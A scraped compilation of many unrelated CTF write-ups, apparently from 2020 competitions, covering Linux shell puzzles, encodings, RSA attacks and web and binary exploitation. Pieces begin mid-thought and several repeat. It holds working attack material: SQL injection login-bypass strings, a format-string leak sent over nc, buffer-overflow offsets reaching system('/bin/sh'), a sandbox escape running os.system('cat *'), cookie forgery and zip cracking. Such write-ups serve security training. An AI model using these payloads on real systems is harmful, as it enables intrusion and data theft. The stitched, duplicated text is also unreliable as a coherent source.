We connect to the shell using this command `ssh -p 1337 [email protected]` and the flag from the Shebang1 challenge as the password.
Once connected we try to see what's in our working dircetory but there are a lot of files and folders!
Running the command `$ find . -type f | wc -l` confirm there are infact `10000` files!
Also, running the command `grep -r "flag"` also doesn't not work as the files all contains strinsg such as: `This is not a flag`.
Instead to find the flag we can again take advantage of the fact we know the flag format `CYCTF{....}`.
Searching for files with the string `CYCTF` gives a better result;
$ grep -r "CYCTF" 86/13:CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}
And there's the next flag;
## CYCTF{W0w_th@t$_@_l0t_0f_f1l3s} |
# Home Baseunhexlify string ```import binasciiprint("result:",binascii.unhexlify('4a5a57474934325a47464b54475632464f4259474336534a4f564647595653574a354345533454434b52585336564a524f425556435533554e4251574f504a35'))
result: b'JZWGI42ZGFKTGV2FOBYGC6SJOVFGYVSWJ5CES4TCKRXS6VJROBUVCU3UNBQWOPJ5'```This is multiple encryption  |
#### Lorem Ipsum (125 pts)
1. Use the [LoremSolve.py](https://finay.github.io/Writeups/Cyberyoddha/Solve-Scripts/Lorem.py) that compares the given text to the real Lorem ipsum ```python given = 'Lorem ipsum dolorc sit amet, consectetury adipiscing celit, sed dot eiusmod tempor incifdidunt ut labore et dolore magna aliqual. Ut enim ad minima veniam, quist nostrud exercitation ullamcoi laboris nisin ut aliquip ex eai commodos consequat. Duis caute irure dolor in reprehenderit in voluptate velit oesse cillum dolore eu fugiat nulla pariatur. Excepteur osint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim lid est laborum.'real = 'Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.'
offset = 0
for i in range(len(given)): #print(given[i], real[i-offset]) if given[i] != real[i-offset]: print(given[i], end="") offset += 1 ``` 2. Returns cyctflatiniscool, add curly brackets
FLAG: cyctf{latiniscool} |
this is done with details I remembered in my mind, currently service is already down and I've no file in tact :(
we reverse engineer the program, basically it will split the string at a point into two parts, I'll refer them as prefix and suffix.the programs perform several operation on the prefix and then match the first 8 character of the result to the suffix. The prefix mustalso begin with "1Razi".
So we solve it by first determining the prefix, perform some operation and take the first 8 character, we then try to make a suffix thatmatch those 8 character, this can be done using binary searching the exact string.
final payload: 1Razi12345123451234512345991gHrHo |
# Lorem ipsumWe have a string```Lorem ipsum dolorc sit amet, consectetury adipiscing celit, sed dot eiusmod tempor incifdidunt ut labore et dolore magna aliqual. Ut enim ad minima veniam, quist nostrud exercitation ullamcoi laboris nisin ut aliquip ex eai commodos consequat. Duis caute irure dolor in reprehenderit in voluptate velit oesse cillum dolore eu fugiat nulla pariatur. Excepteur osint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim lid est laborum.```I found the original string at https://loremipsum.io/ru/ . I made a diff between these lines and got a flag. cyctflatiniscool ### CYCTF{flatiniscool} |
# FormatSWe have this code``` char *input; char *flag = "REDACTED!";
gets(input); printf(input);
```printf outputs user input after 1 argument.This is a format string vulnerability.We can get the addresses of the underlying stacks using %x.And read strings at these addresses using %num_string$s```slonser@DESKTOP-0USDONC:/mnt/c/Users/Seva/Desktop/HACKERDOM/PWN$ python -c "print('%x.'*20)"| nc cyberyoddha.baycyber.net 10005200000.ffffffff.8049189.1.ffa8d8b4.ffa8d8bc.804a008.ffa8d820.0.0.f7d07ee5.f7ed0000.f7ed0000.0.f7d07ee5.1.ffa8d8b4.ffa8d8bc.ffa8d844.f7ed0000.0```Run [script](FormatS.py) and get flag.### CYCTF{3xpl0!t_th3_f0rm@t_str!ng} |
# Password 3
## Task
This one won’t be so easy
File: password3.py
## Solution
This one was also very easy:
```pythondef checkPassword(password): if(len(password) != 40): return False newPass = list(password) for i in range(0,40): newPass[i] = chr(ord(newPass[i]) ^ 0x55) finalPass = "".join(newPass) passBytes = finalPass.encode("ascii") base64_bytes = base64.b64encode(passBytes) base64_string = base64_bytes.decode("ascii") return base64_string == "FgwWARMuF2UhPQotZScKFTsxCjcVJmYKY2FqCiE9FSEmCjJlMTksKA=="```
This is just single-byte XOR. We just need to write the inverse of it:
```pythonbase64_string = "FgwWARMuF2UhPQotZScKFTsxCjcVJmYKY2FqCiE9FSEmCjJlMTksKA=="base64_bytes = base64.b64decode(base64_string)finalPass = base64_bytes.decode("ascii")newPass = list(finalPass)for i in range(0, 40): newPass[i] = chr(ord(newPass[i]) ^ 0x55)print(''.join(newPass))``` |
# Overflow 1A non-secure function gets(it does not check the length of user input) is used for user input``` char str[] = "AAAA"; char buf[16]; gets(buf); if (!(str[0] == 'A' && str[1] == 'A' && str[2] == 'A' && str[3] == 'A')){ system("/bin/sh"); }```It is enough to overwrite 1 byte of str located directly under buf,that is, enter any 17 characters.```$lsflag.txt$cat flag.txtCYCTF{st@ck_0v3rfl0ws_@r3_3z}```### CYCTF{st@ck_0v3rfl0ws_@r3_3z} |
# Overflow 2We have the vuln function and the run_shell function.the first one contains the vulnerable gets function, thanks to which we can rewrite the return address and go to the second function```void vuln(){ char buf[16]; gets(buf);}void run_shell(){ system("/bin/sh");}```You can check the stack view of this function```#-00000018 buf db 16 dup(?)#-00000008 db ? ; undefined#-00000007 db ? ; undefined -> this is 32 bit offset#-00000006 db ? ; undefined#-00000005 db ? ; undefined#-00000004 var_4 dd ?#+00000000 s db 4 dup(?) -> this canary#+00000004 r db 4 dup(?) -> this return address#+00000008#+00000008 ; end of stack variables```We need to enter 28 bytes to get to the return address.After that, rewrite the return address to `0x08049172` (This is the address of the run_shell function). ### CYCTF{0v3rfl0w!ng_v@ri@bl3$_i$_3z} |
# Data Store 2The username field is checked for "'"```python if(username.find("'")!=-1): return False```But this does not prevent you from inserting the injection in the password field``` login: admin password: 1' OR ' 1 ' = ' 1```### CYCTF{S@n1t1ze_@11_U$3R_1npu7$} |
# Data StoreThis task is for a simple sql injection. Let's login with the credentials```login : adminpassword : ' OR '1'='1Login successful```### cyctf{1_l0v3_$qli} |
#### Home Base (125 pts)
1. Run the given string through [hex > base 32 > base 64 > base 85](https://gchq.github.io/CyberChef/#recipe=From_Hex('Auto')From_Base32('A-Z2-7%3D',true)From_Base64('A-Za-z0-9%2B/%3D',true)From_Base85('!-u')&input=NGE1YTU3NDc0OTM0MzI1YTQ3NDY0YjU0NDc1NjMyNDY0ZjQyNTk0NzQzMzY1MzRhNGY1NjQ2NDc1OTU2NTM1NzRhMzU0MzQ1NTMzNDU0NDM0YjUyNTg1MzM2NTY0YTUyNGY0MjU1NTY0MzU1MzM1NTRlNDI1MTU3NGY1MDRhMzU)
FLAG: CYCTF{it5_@_H0m3_2un!} |
# Beware the Idles of March
 
```txtJFJAM{j@3$@y_j!wo3y}- Haskell#1426```
---
This pretty much looks like some Caesar Cipher. So using [this CyberChef](https://gchq.github.io/CyberChef/#recipe=ROT13(true,true,19)&input=SkZKQU17akAzJEB5X2ohd28zeX0) combination revealed the flag.
**Note:** Use ROT13, because we do not want the curly brackets to be shifted.
`CYCTF{c@3$@r_c!ph3r}` |
# 720
Challenge Description:
```These files belong to Lucius. I found them in his flash drive, but I could not open them. Can you figure out how to open them? Please avoid opening any unnecessary and dangerous files.```After downloading the zip file and unzipping we get several dlls.
Since I'm on linux my go to was to check for strings in them. ```shstrings * | grep -i flag```I got two instances of ```The Flag You Need.txt```

Used grep to get the filenames then ran binwalk on both files to extract anything within them.
```shgrep -iH 'The Flag You Need.txt' *```
Getting the flag:

Flag: RaziCTF{5pl17_4nd_j01n} |
# Change
 
```txtOne of Senork's employees opened a link in a phishing e-mail. After this, strange things happened. But this is likely related to the attached image. I have to check it.```
---
Another stego challenge... This time you could have found the flag by either simply using `strings` or something like `exiftool`:

... _hmmm_... this copyright notice looks suspiciously like some JavaScript code ... Let's paste it into the browser console and see what happens _(not always a good idea, i know ... ^^)_:

... would you look at that! Looks like a flag to me: `syskronCTF{l00k5l1k30bfu5c473dj5}` |
# Overflow 3We have a main function that reads user data. Again, the vulnerable "gets" function.``` long vuln = 0; char buf[16];
gets(buf);
if (vuln == 0xd3adb33f){ system("/bin/sh"); }```Just enter any 16 characters and 0xd3adb33f in little endian and get shell. ### CYCTF{wh0@_y0u_jump3d_t0_th3_funct!0n} |
# Something Sw33tIf we check the Cookie, we will find a base64 string there,and if we try to decode it, we will get a string that does not carry a semantic load.Because it's [Flask cookies](https://pypi.org/project/flask-cookie-decode/)Let's decrypt```{' b': 'bm90X2V4aXN0YW50'}, 'name': {' b': 'Cynthia Astley'}}, {'description': {' b': 'nicee='}, 'flag': {' b': 'YmFzZTY0X2lzX3N1cHJlbWU='}, 'name': {' b': 'Horace Astley'}}, {'description': {' b': 'human'}, 'flag': {' b': 'flag=flag'}, 'name': {'b': ''}}, {'description': {' b': 'the man'}, 'flag': {' b': 'Q1lDVEZ7MGtfMV9zZWVfeW91X21heWJlX3lvdV9hcmVfc21hcnR9'}, 'name': {' b': 'Rick Astley'}}, {'description': {' b': 'yeedeedeedeeeeee'}, 'flag': {' b': 'dHJ5X2FnYWlu'}, 'name': {' b': 'Lene Bausager'}}, {'description': {' b': 'uhmm'}, 'flag': {' b': 'bjBwZWVlZQ=='}, 'name': {' b': 'Jayne Marsh'}}, {'description': {' b': 'hihi'}, 'flag': {' b': 'bjBfYjB0c19oM3Iz'}, 'name': {' b': 'Emilie Astley'}}]}}, expiration='2020-11-16T23:40:39')```We see a lot of base64 strings let's decipher each one and look for the flag`Q1lDVEZ7MGtfMV9zZWVfeW91X21heWJlX3lvdV9hcmVfc21hcnR9 = CYCTF{0k_1_see_you_maybe_you_are_smart}`### CYCTF{0k_1_see_you_maybe_you_are_smart} |
# Overflow 2We have the vuln function and the run_shell function.the first one contains the vulnerable gets function, thanks to which we can rewrite the return address and go to the second function```void vuln(){ char buf[16]; gets(buf);}void run_shell(){ system("/bin/sh");}```You can check the stack view of this function```#-00000018 buf db 16 dup(?)#-00000008 db ? ; undefined#-00000007 db ? ; undefined -> this is 32 bit offset#-00000006 db ? ; undefined#-00000005 db ? ; undefined#-00000004 var_4 dd ?#+00000000 s db 4 dup(?) -> this canary#+00000004 r db 4 dup(?) -> this return address#+00000008#+00000008 ; end of stack variables```We need to enter 28 bytes to get to the return address.After that, rewrite the return address to `0x08049172` (This is the address of the run_shell function). ### CYCTF{0v3rfl0w!ng_v@ri@bl3$_i$_3z} |
The application encrypt each bit of the flag with a padding. The padding is the square of a random number. So for 0's, we are incrypting a square number: cyphertext = ((r^2)^e) mod n = ((r^e)^2) mod nThe jacobi symbol can say for sure that the cyphertext is not a square modulo n if its value is -1. So we are initializing all bits to 0, then requesting multiple times the service and checking for the jacobi symbol of each bit, we can set bit to 1 if symbol is -1.
This is my python3 script:
```from pwn import *from Crypto.Util.number import long_to_bytes
context.log_level = "error"
# get jacobi symboldef jacobi(a, n): assert(n > a > 0 and n%2 == 1) t = 1 while a != 0: while a % 2 == 0: a //= 2 r = n % 8 if r == 3 or r == 5: t = -t a, n = n, a if a % 4 == n % 4 == 3: t = -t a %= n if n == 1: return t else: return 0
n=23946008544227658126007712372803958643232141489757386834260550742271224503035086875887914418064683964046938371640632153677880813529023769841157840969433316734058706481517878257755290676559343682013294580085557476138201639446709290119631383493940405818550255561589074538261117055296294434994144540224412018398452371792093095280080422459773487177339595746894989682038387107119249733105558301840478252766907821053044992141741079156669562032221433390029219634673005161989684970682781410366155504440886376453225497112165607897302209008685179791558898003720802478389914297472563728836647547791799771532020349546729665006643
HOST = 'chal.cybersecurityrumble.de'PORT = 34187L = 263 # number of bits to retrieve
sols = [0 for _ in range(L)]for i in range(100): r = remote(HOST,PORT) res = r.recvall().split(b"\n") cs = [] for l in res: try: cs.append(int(l)) except: pass assert len(cs) == L for j,c in enumerate(cs): if jacobi(c,n) == -1: # we are sure that it's not a square sols[j] = 1 print( long_to_bytes( int("".join(map(str,sols)),2)).decode("utf-8") )
```
After 10 iterations, we get the flag! |
you just need to search for the right function used in the internet: https://techtutorialsx.com/2017/04/09/esp8266-connecting-to-mqtt-broker/ the flag is **client.loop()** |
#### Crack the Zip! (200 pts)
1. Install fcrackzip with "sudo apt-get install fcrackzip" 2. Run "fcrackzip -D -p /usr/share/wordlists/rockyou.txt -u flag.zip" to find password for Zip 3. Cat the txt in the Zip
FLAG: cyctf{y0u_cr@ck3d_th3_z!p...} |
The main point to notice here is that we are mean to write palindromic code that in turn generates code that reads the flag```pyexec(sandbox(code))```
We started with trying to find a way to write palidromic code which prints "#"
What will be shown below is our evolution of payloads, copy and paste them into any syntax highlighted text editor to observe the evolution. Also we ended up with a perfect palindrome at the end so the evolving payload may not be a palindrome/syntactically correct everytime.
The first attempt was to print a `#`(hex 23)
```py")";print("\x2332x\"(tnirp;")"```The trick we used was to escape a double quote with "\" so that "tnrip", "(" and ")" end up as a string.Also we have an open quote at the end so this is syntactically incorre, ct
```py"\";)";print("\x2332x\"(tnirp;");"\""```Using more "\" magic we managed to get correct syntax but now there is an extra `"` at the end.
```py"a\";)";print("\x2332x\"(tnirp;");"\a"```instead of using `"\""` at the right end we got an idea to use "\a" and bingo we were able to print`#`
```py"a\";)";print("\x69\x2332x\96x\"(tnirp;");"\a"```69(_nice_) is hex for `i` as we will probably need to "i"mport libraries to get anything meaningful done. We need that backslash so we have to have the hex notation for the first character.We could have done a simple file read, but that actually costed more characters, aaaand we never realised that flag was in `flag.txt`.
```py"a\";)";print("\x69mport os;os.system('cat *')\x2332x\)'* tac'(metsys.so;so tropm96x\"(tnirp;");"\a"```payload- `import os;os.system("cat *");`EXACT 100 characters phew :) |
The challenge description says "weird emulator...." which indicates that it is probably something about qemu to solve the challenge. After googling for 20 minutes I've found this writeup to a similiar challenge: https://devcraft.io/2018/12/10/green-computing-hxp-ctf-2018.html#green-computing-1
I've started qemu on my local computer, loaded the provided linux kernel image from channel and dumped the physical memory to a file. Seaching in the file for CSR{ gave me an offset which I used on the remote machine to dump the physical memory to console |
We are given the following script:
```python#!/usr/bin/env python2import binascii
# https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithmdef xgcd(a, b): x0, x1, y0, y1 = 0, 1, 1, 0 while a != 0: (q, a), b = divmod(b, a), a y0, y1 = y1, y0 - q * y1 x0, x1 = x1, x0 - q * x1 return b, x0, y0
# https://en.wikibooks.org/wiki/Algorithm_Implementation/Mathematics/Extended_Euclidean_algorithmdef modinv(a, m): g, x, y = xgcd(a, m) if g != 1: return None else: return x % m
n = 3283820208958447696987943374117448908009765357285654693385347327161990683145362435055078968569512096812028089118865534433123727617331619214412173257331161p = 34387544593670505224894952205499074005031928791959611454481093888481277920639q = 95494466027181231798633086231116363926111790946014452380632032637864163116199e = 65537
# flag = "flag{...}"# flag = int(binascii.hexlify(flag), 16)# flag = pow(flag, e, n)flag = 2152534604028570372634288477962037445130495144236447333908131330331177601915631781056255815304219841064038378099612028528380520661613873180982330559507116d = modinv(e, (p - 1) * (q - 1))if d == None: print "definitely too primitive..."else: print pow(flag, d, n)```
which is written in python **2** D: .
The problem can be formalised as follows.We have a standard RSA modulus, formed of two primes $p$ and $q$, which are given.We also have $e$, and the ciphertext ($c$) , which is the RSA encryption of the flag.
The issue here is that **$e$ is not coprime to $\varphi(n) = (p-1) \times (q - 1)$**. Thus, $e$ has no invert mod $\varphi(n)$ and we can't proceed to the classical RSA decryption, despite having the factorisation of $n$.
# nth root for the win
The RSA cryptosystem's security depends on the factorisation of $n$, but also on the fact that computing the $e$th root of some number modulo a composite modulus **without knowing its factorisation** is hard.
But here, we have that factorisation. The solution I found is to split the problem in two subproblems, mod $p$ and mod $q$. Finding the $e$th root of $c_q = c \mod q$ is easy, because $q$ is prime (one can find the solution using a generalisation of the Tonneli-Shanks algorithm for instance. Check [this stackexchange thread](https://crypto.stackexchange.com/questions/6518/finding-roots-in-mathbbz-p) for more informations about that.)
After computing $r_q$ and $r_p$, two $e$th roots of $c_q$ and $c_p$ mod $q$ and $p$ respectively, one can combine the two results to find $r \mod n$ using the [Chinese Remainder Theorem](https://en.wikipedia.org/wiki/Chinese_remainder_theorem).
However, as explained in the stackexchange above, we still have an issue regarding the roots : $r_p$ and $r_q$ are not necessarly uniques.
Here, $p - 1 = 2 \times 65537 \times 262352141490078163670102020274799533126569180706773360502320016849117887$ and $q - 1 = 2 \times 47747233013590615899316543115558181963055895473007226190316016318932081558099$.
We have $gcd(e, p - 1) = e$, so we'll have to find the right $r_p$ between exactly $e$ possible roots. But $gcd(e, q - 1) = 1$, so $r_q$ is actually unique.
Here is an implementation of this attack using sagemath:
```pythonfrom Crypto.Util.number import long_to_bytesfrom sage.all import *e = 65537n = 3283820208958447696987943374117448908009765357285654693385347327161990683145362435055078968569512096812028089118865534433123727617331619214412173257331161p = 34387544593670505224894952205499074005031928791959611454481093888481277920639q = 95494466027181231798633086231116363926111790946014452380632032637864163116199c = 2152534604028570372634288477962037445130495144236447333908131330331177601915631781056255815304219841064038378099612028528380520661613873180982330559507116
rmodp = Mod(c % p, p).nth_root(e, all=True)rq = Mod(c % q, q).nth_root(e)
for rp in rmodp:
r = crt(int(rp), int(rq), p, q) flag = long_to_bytes(r)
if b"flag" in flag: print(flag.decode())```
which yields `flag{thanks_so_much_for_helping_me_with_these_primitive_primes}` :-) . |
There are a total of 4000 primes. Collect 2000 public keys and some of them should share the same prime.
Collection code: [https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/mutual-friend/get_data.sh](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/mutual-friend/get_data.sh)
Solver code: [https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/mutual-friend/solve.py](https://github.com/CTF-STeam/ctf-writeups/blob/master/2020/COMPFEST/mutual-friend/solve.py)
Flag: `COMPFEST12{Euclid_W0ulD_b_Pr0Ud_Ov_4l1_7h3sE_MetH_eXpeRt5_a39e7a}` |
## Secure Admin 2 \[88 pts.\]> This admin panel is now secured and hardened.

Again, we can try `admin` / `' OR 1=1;--`, but this time the server actually detects our SQLi attempt. I tried a couple of other variants, but with no luck.
What could we check out next? Cookies. And, there it is:

Looks like something interesting...

[CyberChef](https://ghcq.github.io/CyberChef) is awesome!
We can change the cookie to `admin:true` and get the flag.My procedure was:1. Get to `/login.php` through the login form2. Change the cookie to `base64(base64("admin:true"))`3. Reload the page4. ????5. PROFIT!
 |
**In this challenge we are given a txt file with this description:****“We were following a suspect in hot pursuit when he suddenly disappeared. We were left standing in front of a mysterious lab. We didn’t find much, except for a small sheet of paper with this message printed on it. Can you help us decipher it?”**
-----
**Pretty fast we can see the first part of the flag becomes GTTAAATTCGGT**

-----
**If we do a quick search of “GTT AAA GTT TTC GGT” and go to images we find a bunch of results talking about DNA**
-----
**After that we searched for “Dna crypt algorithms” and we find the first article**
**If we open the table and compare these with the first letters we got we see that they indeed match up**
-----
**Decoding each character with the table gives us the flag “CYCTF{S0LV1NG_PR08L3M5_1S_1N_Y0UR_DNA}”** |
# CSAdventure
The goal of this challenge is to kill 1.000.000 mobs to get a flag, knowing that killing one mob will make two mobs spawn. The only way to kill mobs is by making them step on spikes. Of course, killing 1.000.000 mobs by hand will take too much time.
The game is coded using **WebGL / Unity**.
Only one team (FluxFingers) was able to flag this challenge during the CTF, but I was able to flag it after the CTF using another way.
Two solutions exist to solve this challenge :
- finding the base64 encoded flag inside the game files- using JavaScript to interact with the game, to decrease the mob counter and beat the game
I'll present both.
## Recovering and analyzing Unity files
Using the Network tab of any modern browser (or by looking at the [Build.json](http://chal.cybersecurityrumble.de:6543/Build/Build.json) file), you could recover three files :
- `Build.wasm.code.unityweb`- `Build.wasm.framework.unityweb`- `Build.data.unityweb`

We will focus on `Build.data.unityweb`, which is a packed Unity file, containing all the resources for this game.
First of all, let's open this file using [AssetStudio](https://github.com/Perfare/AssetStudio), which will allow us to see tiles, shaders, etc.

This allows us to get a little bit more precise view of the structure of the project. We identify `GameManager` and `FlagScreen` as being promising.However, the flag was not found (it could have been if the flag was an image or a tile, but it was a Text dynamically loaded).
We then use the "Extract file" option from AssetStudio to unpack the files of the project. This will unpack the following files :- `boot.config` -> some booting configuration for the game- `data.unity3d` -> Unity file, which contains game resources and can be viewed with AssetStudio- `global-metadata.dat` -> This file contains all the strings used in the game's source code. They can be extracted using [unity_metadata_loader](https://github.com/nevermoe/unity_metadata_loader) but this wasn't required here- `machine.config` -> some configuration- `sharedassets0.resource` -> game resources- `unity_default_resources` -> game resources
## Solution 1 : Looking at strings
The first solution was pretty straightforward : have a look at `global-metadata.dat`.
A simple `strings global-metadata.dat` would reveal a base64 encoded string, at the very end.
You then just had to decode it to get the flag : `echo "TmljZSwgeW91IGVhcm5lZCB5b3Vyc2VsZiBhIGZsYWc6CkNTUntkMHkwdTYzNzcwN2gzY2wwdWRkMTU3cjFjN3YzcnkwZjczbn0=" | base64 -d` **Nice, you earned yourself a flag:CSR{d0y0u637707h3cl0udd157r1c7v3ry0f73n}**
## Solution 2 : Beat the game
The goal was to decrement the Mob Counter / change the game so that killing one mob will decrement the counter by a lot / make myself invicible and then use a Speedhack to kill the mobs.
The first thing I tried was to use [Cetus](https://github.com/Qwokka/Cetus), which is a browser extension made for hacking WebAssembly games. ([DefCon 27 Conference](https://www.youtube.com/watch?v=Sa1QzhPNHTc)).
However :- Patching WebAssembly with Cetus is not easy.,- The MobCounter variable is protected (confirmed by the challenge's author)
Therefore, I was only able to find with an incremental search and freeze my health value, which made me invicible (and allowed me to get out of bounds, but this was not useful).

At this point, I was invicible and could benefit from the SpeedHack. I just had to wait for the mobs to die from the spikes.
However, this was still too slow and as each time you kill a mob two mobs will spawn, the game would crash at around 500 mobs killed.
### Call Unity scripts from JavaScript
I then looked at the possibility to call Unity scripts from JavaScript. [Unity Documentation](https://docs.unity3d.com/Manual/webgl-interactingwithbrowserscripting.html)
The calls are made from the Web Console : `unityInstance.SendMessage('MyGameObject', 'MyFunction');`, where `MyGameObject` is a [GameObject](https://docs.unity3d.com/Manual/class-GameObject.html) and `MyFunction` is a method from this class.
To find the right classes and method, I used [Unity Assets Bundle Extractor](https://github.com/DerPopo/UABE) on `data.unity3d`, and I extracted `level0.assets`.
Looking at this file, I was able to find interesting objects and methods, and by combining it with information we had from AssetStudio, I was able to decrement the mob counter artificially by calling `unityInstance.Module.SendMessage("GameManager","EnemyDied");`.
This would decrement the Mob Counter by 1, and make two mobs spawn.
Using all of this, I could almost beat the challenge. The only issue left was that too many mobs were spawned, and the game would eventually crash.
The method to kill all ennemies, which I did not find during the CTF, was `KillAllEnemies` and was only mentionned in `global-metadata.dat`.
The final solution goes like this :- Using Cetus, freeze address `0x01075d2c` to be invicible- Using Cetus, Speedhack x10- In the Web Console :
```js for (let i = 0; i < 100; i++) { setInterval(function() {unityInstance.Module.SendMessage("GameManager","EnemyDied")}, 1); setInterval(function() {unityInstance.Module.SendMessage("GameManager","KillAllEnemies")}, 100) } ```- Wait for a few hours- Flag

*Thanks to [Moritz Thomas](https://de.linkedin.com/in/moritz-thomas-34992718a) @ [NVISO](https://nviso.eu) for the challenge* |
# shebang0-5
1. [shebang0](#shebang0)2. [shebang1](#shebang1)3. [shebang2](#shebang2)4. [shebang3](#shebang3)5. [shebang4](#shebang4)6. [shebang5](#shebang5)
## shebang0 Author: stephencurry396 Points: 125
### Problem descriptionWelcome to the Shebang Linux Series. Here you will be tested on your basiccommand line knowledge! These challenges will be done through an ssh connection.Also please do not try and mess up the challenges on purpose, and report anyproblems you find to the challenge author. You can find the passwords at /etc/passwords.The username is the challenge title, shebang0-5, and the password is the previouschallenges flag, but for the first challenge, its shebang0.
The first challenge is an introductory challenge. Connect to cyberyoddha.baycyber.neton port 1337 to receive your flag!
### SolutionConnected via ssh using the following command:```$ ssh [email protected] -p 1337[email protected]'s password: # insert password shebang0```
Used `ls` command to look for the flag in the current directory:```$ ls -altotal 12dr-x------ 1 shebang0 root 4096 Oct 30 07:07 .drwxr-xr-x 1 root root 4096 Oct 30 07:07 ..-rw-r--r-- 1 root root 33 Oct 6 00:26 .flag.txt```
There was file called `.flag.txt`.
Output the file contents using `cat`:```$ cat .flag.txt CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}```
Thus, the flag is `CYCTF{w3ll_1_gu3$$_b@sh_1s_e@zy}`.
## shebang1 Author: stephencurry396 Points: 125
### Problem descriptionThis challenge is simple.
### SolutionConnected via ssh with user shebang1.
Listed files in the current directory:```$ lsflag.txt```
Tried to `cat` the flag:```$ cat flag.txtWe're no strangers to loveYou know the rules and so do IA full commitment's what I'm thinking ofYou wouldn't get this from any other guyI just wanna tell you how I'm feelingGotta make you understandNever gonna give you upNever gonna let you downNever gonna run around and desert youNever gonna make you cry(....)```
File `flag.txt` contained a lot of information. According to the `wc` commandit contained 9522 lines.
```$ wc -l flag.txt9522 flag.txt```
So it seemed easier to search for the flag (special characters) using `grep`:```$ grep "{"flag.txt:CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}```
So the flag for shebang1 is `CYCTF{w3ll_1_gu3$$_y0u_kn0w_h0w_t0_gr3p}`.
## shebang2 Author: stephencurry396 Points: 150
### Problem descriptionThis is a bit harder.
### SolutionConnected via ssh with user shebang2.
`ls` showed current directory had a lot of directories:
```$ ls -altotal 412dr-x------ 1 shebang2 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..drwxr-xr-x 2 root root 4096 Oct 14 18:37 1drwxr-xr-x 2 root root 4096 Oct 14 18:37 10drwxr-xr-x 2 root root 4096 Oct 14 18:37 100drwxr-xr-x 2 root root 4096 Oct 14 18:37 11drwxr-xr-x 2 root root 4096 Oct 14 18:37 12drwxr-xr-x 2 root root 4096 Oct 14 18:37 13drwxr-xr-x 2 root root 4096 Oct 14 18:37 14drwxr-xr-x 2 root root 4096 Oct 14 18:37 15drwxr-xr-x 2 root root 4096 Oct 14 18:37 16(...)```
Recursive `ls` (with the `-R` argument) showed each directory had a lot of files:
```$ ls -lR(...)./1:total 400-rw-r--r-- 1 root root 19 Oct 14 18:37 1-rw-r--r-- 1 root root 19 Oct 14 18:37 10-rw-r--r-- 1 root root 19 Oct 14 18:37 100-rw-r--r-- 1 root root 19 Oct 14 18:37 11-rw-r--r-- 1 root root 19 Oct 14 18:37 12-rw-r--r-- 1 root root 19 Oct 14 18:37 13-rw-r--r-- 1 root root 19 Oct 14 18:37 14-rw-r--r-- 1 root root 19 Oct 14 18:37 15-rw-r--r-- 1 root root 19 Oct 14 18:37 16-rw-r--r-- 1 root root 19 Oct 14 18:37 17(...)```
Tried to `cat` the content of all files to look for patterns:
```$ cat */*This is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flagThis is not a flag(...)```
Then tried to `grep` (using `-rv` arguments) recursively for files not containingthe string: `This is not a flag`.
```$ grep -rv "This is not a flag"86/13:CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}```
Thus, the flag for shebang2 is: `CYCTF{W0w_th@t$_@_l0t_0f_f1l3s}`.
## shebang3 Author: stephencurry396 Points: 150
### Problem descriptionThese files are the same...
### SolutionConnected via ssh as user shebang3.
Executing the `ls` command in the current directory showed two files:
```$ lsfile.txt file2.txt```
The problem description gives a clue that we need to find differences betweenthe files.
In [stackoverflow](https://stackoverflow.com/questions/18204904/fast-way-of-finding-lines-in-one-file-that-are-not-in-another)I found a solution to find lines in one file that are not in the other:
```$ grep -F -x -v -f file.txt file2.txtCYCTF{SPTTHFF}(...)```
The string looked promising, but submitting it showed it was not the entireflag. So I tried to `grep` for all lines with exactly one character in `file.txt`:
```$ grep "^.$" file2.txt1CYCTF{SPOT_TH3_D1FF}(...)```
Thus, the flag for shebang3 is: `CYCTF{SPOT_TH3_D1FF}`.
## shebang4 Author: stephencurry396 Points: 200
### Problem descriptionSince you have been doing so well, I thought I would make this an easy one.
### SolutionConnected via ssh as user shebang4.
Listing current directory contents showed a file called `flag.png`:
```$ lsflag.png```
To make it easier to view the file, I disconnected from ssh and transferredthe file to my own computer using `scp`:```$ scp -P1337 [email protected]:/home/shebang4/flag.png .[email protected]'s password:flag.png100% 12KB 62.4KB/s 00:00```
Viewing the `flag.png` image showed the flag:

So the flag for shebang4 is: `CYCTF{W3ll_1_gu3$$_th@t_w@s_actually_easy}`.
## shebang5 Author: stephencurry396 Points: 250
### Problem descriptionthere is a very bad file on this Server. can yoU fInD it.
### Concepts* [setuid](https://en.wikipedia.org/wiki/Setuid)
### SolutionConnected via ssh as user shebang5.
Listing current directory contents showed only the empty file .hushlogin.
```$ ls -altotal 12dr-x------ 1 shebang5 root 4096 Oct 31 01:01 .drwxr-xr-x 1 root root 4096 Oct 31 00:49 ..-rw-r--r-- 1 root root 0 Oct 31 01:01 .hushlogin```
Actually, the capitalization in the problem description (UID) suggests thatmaybe we need to look for a file with the `SUID` permission set.
As stated in the wikipedia entry on [setuid](https://en.wikipedia.org/wiki/Setuid):
> The Unix access rights flags setuid and setgid (short for "set user ID" and"set group ID") allow users to run an executable with the file system permissionsof the executable's owner or group respectively and to change behaviour in directories.They are often used to allow users on a computer system to run programs withtemporarily elevated privileges in order to perform a specific task.
Used the `find` command to look for a file with such permissions:```$ find / -perm /u=s,g=s 2>/dev/null/var/mail/var/local/var/cat/usr/sbin/unix_chkpwd/usr/sbin/pam_extrausers_chkpwd/usr/bin/gpasswd/usr/bin/umount/usr/bin/wall/usr/bin/chage/usr/bin/chsh(...)```
